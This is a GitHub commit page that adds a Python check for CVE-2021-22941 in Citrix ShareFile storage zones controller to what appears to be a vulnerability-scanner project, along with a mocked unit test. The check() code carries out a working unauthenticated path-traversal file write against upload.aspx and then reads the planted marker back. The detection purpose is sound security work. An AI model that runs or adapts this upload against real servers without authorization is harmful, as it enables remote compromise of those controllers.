Skip to content

Commit

Permalink
Merge pull request #1 from Ostorlab/exploit/CVE-2021-22941
Browse files Browse the repository at this point in the history
CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller
  • Loading branch information
3asm authored Nov 20, 2023
2 parents b7ca2e9 + 87617af commit 4b875a8
Show file tree
Hide file tree
Showing 5 changed files with 156 additions and 0 deletions.
Empty file added agent/exploits/__init__.py
Empty file.
112 changes: 112 additions & 0 deletions agent/exploits/cve_2021_22941.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,112 @@
"""Agent Asteroid implementation for CVE-2021-22941"""

import requests
from ostorlab.agent.kb import kb
from ostorlab.agent.mixins import agent_report_vulnerability_mixin
from requests import exceptions as requests_exceptions

from agent import definitions

VULNERABILITY_TITLE = (
"Improper Access Control in Citrix ShareFile storage zones controller"
)
VULNERABILITY_REFERENCE = "CVE-2021-22941"
VULNERABILITY_DESCRIPTION = (
"Improper Access Control in Citrix ShareFile storage zones controller before 5.11.20 may "
"allow an unauthenticated attacker to remotely compromise the storage zones controller."
)

DEFAULT_TIMEOUT = 90


def _encode_multipart_formdata(files: dict[str, str]) -> tuple[str, str]:
boundary = "boundary"
body = "".join(
f"--{boundary}\r\n"
f'Content-Disposition: form-data; name="{files["name"]}"; filename="{files["filename"]}"\r\n'
"\r\n"
f"{files['content_file']}\r\n" + f"--{boundary}--\r\n"
)
content_type = f"multipart/form-data; boundary={boundary}"
return body, content_type


class CVE20222941Exploit(definitions.Exploit):
"""
CVE-2021-22941: Improper Access Control in Citrix ShareFile storage zones controller
"""

def accept(self, target: definitions.Target) -> bool:
target_uri = f"{target.scheme}://{target.host}"
try:
req = requests.get(target_uri, verify=False, timeout=DEFAULT_TIMEOUT)
except requests_exceptions.RequestException:
return False
return "ShareFile" in req.text

def check(self, target: definitions.Target) -> list[definitions.Vulnerability]:
target_uri = f"{target.scheme}://{target.host}"
content_file = "A" * 4096
files = {"name": "text4", "filename": "text5", "content_file": content_file}
data, content_type = _encode_multipart_formdata(files)
headers = {"Content-Type": content_type}
payload = "__VULNERABLE__"
params = {
"uploadid": payload + r"/../../ConfigService\Views\Shared\Error.cshtml",
"bp": "123",
"accountid": "123",
}
try:
requests.post(
target_uri + "/upload.aspx",
data=data,
params=params,
headers=headers,
verify=False,
timeout=DEFAULT_TIMEOUT,
)
req = requests.get(
target_uri + "/configservice/Home/Error",
verify=False,
timeout=DEFAULT_TIMEOUT,
)
except requests_exceptions.RequestException:
return []
if payload not in req.text:
return []

vulnerability = self._generate_vulnerability_object(target_uri)
return [vulnerability]

def _generate_vulnerability_object(
self, target_uri: str
) -> definitions.Vulnerability:
entry = kb.Entry(
title=VULNERABILITY_TITLE,
risk_rating="HIGH",
short_description=VULNERABILITY_DESCRIPTION,
description=VULNERABILITY_DESCRIPTION,
references={
"nvd.nist.gov": f"https://nvd.nist.gov/vuln/detail/{VULNERABILITY_REFERENCE}"
},
recommendation=(
"- Make sure to install the latest security patches from software vendor \n"
"- Update to the latest software version"
),
security_issue=True,
privacy_issue=False,
has_public_exploit=False,
targeted_by_malware=False,
targeted_by_ransomware=False,
targeted_by_nation_state=False,
)
technical_detail = (
f"{target_uri} is vulnerable to {VULNERABILITY_REFERENCE}, "
f"{VULNERABILITY_TITLE}"
)
vulnerability = definitions.Vulnerability(
entry=entry,
technical_detail=technical_detail,
risk_rating=agent_report_vulnerability_mixin.RiskRating.HIGH,
)
return vulnerability
1 change: 1 addition & 0 deletions requirement.txt
Original file line number Diff line number Diff line change
@@ -1,2 +1,3 @@
ostorlab[agent]
rich
requests
41 changes: 41 additions & 0 deletions tests/exploits_test.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
"""Unit tests for Agent Asteriod exploits"""
import re

import requests_mock as req_mock

from agent.exploits import cve_2021_22941
from agent import definitions


def testCVE_2021_22941_whenVulnerable_reportFinding(
requests_mock: req_mock.mocker.Mocker,
) -> None:
"""Unit test for CVE-2021-22941, case when target is vulnerable"""
target = definitions.Target(scheme="https", host="75.162.65.52", port=443)
exploit_instance = cve_2021_22941.CVE20222941Exploit()
requests_mock.post(re.compile("https://75.162.65.52"))
requests_mock.get(
re.compile("https://75.162.65.52"),
content=b'<!DOCTYPE html><html><head><meta charset="utf-8" />'
b'<meta name="viewport" content="width=device-width" />'
b"<title></title>"
b'<link href="/configservice/Content/css?v=WMr-pvK-ldSbNXHT-cT0d9QF2pqi7sqz_4MtKl04wlw1" rel="stylesheet"/>'
b'<script src="/configservice/bundles/modernizr?v="></script></head>'
b"<body>__VULNERABLE__/../../ConfigService\\Views\\Shared\\Error.cshtml,"
b"4190,4190,1,638351359841918992,638351359844106518"
b'<script src="/configservice/bundles/jquery?v=Btq6NiodC7qP1zsuC2xUYWo89HSxJy2RWUt0n_7RLeM1"></script>'
b"</body></html>",
)

vulnerabilities = exploit_instance.check(target)
vulnerability = vulnerabilities[0]

assert (
vulnerability.entry.title
== "Improper Access Control in Citrix ShareFile storage zones controller"
)
assert (
vulnerability.technical_detail
== "https://75.162.65.52 is vulnerable to CVE-2021-22941, Improper Access Control "
"in Citrix ShareFile storage zones controller"
)
2 changes: 2 additions & 0 deletions tests/test-requirement.txt
Original file line number Diff line number Diff line change
Expand Up @@ -3,3 +3,5 @@ pytest
black
mypy
typing-extensions
requests_mock
types-requests

0 comments on commit 4b875a8

Please sign in to comment.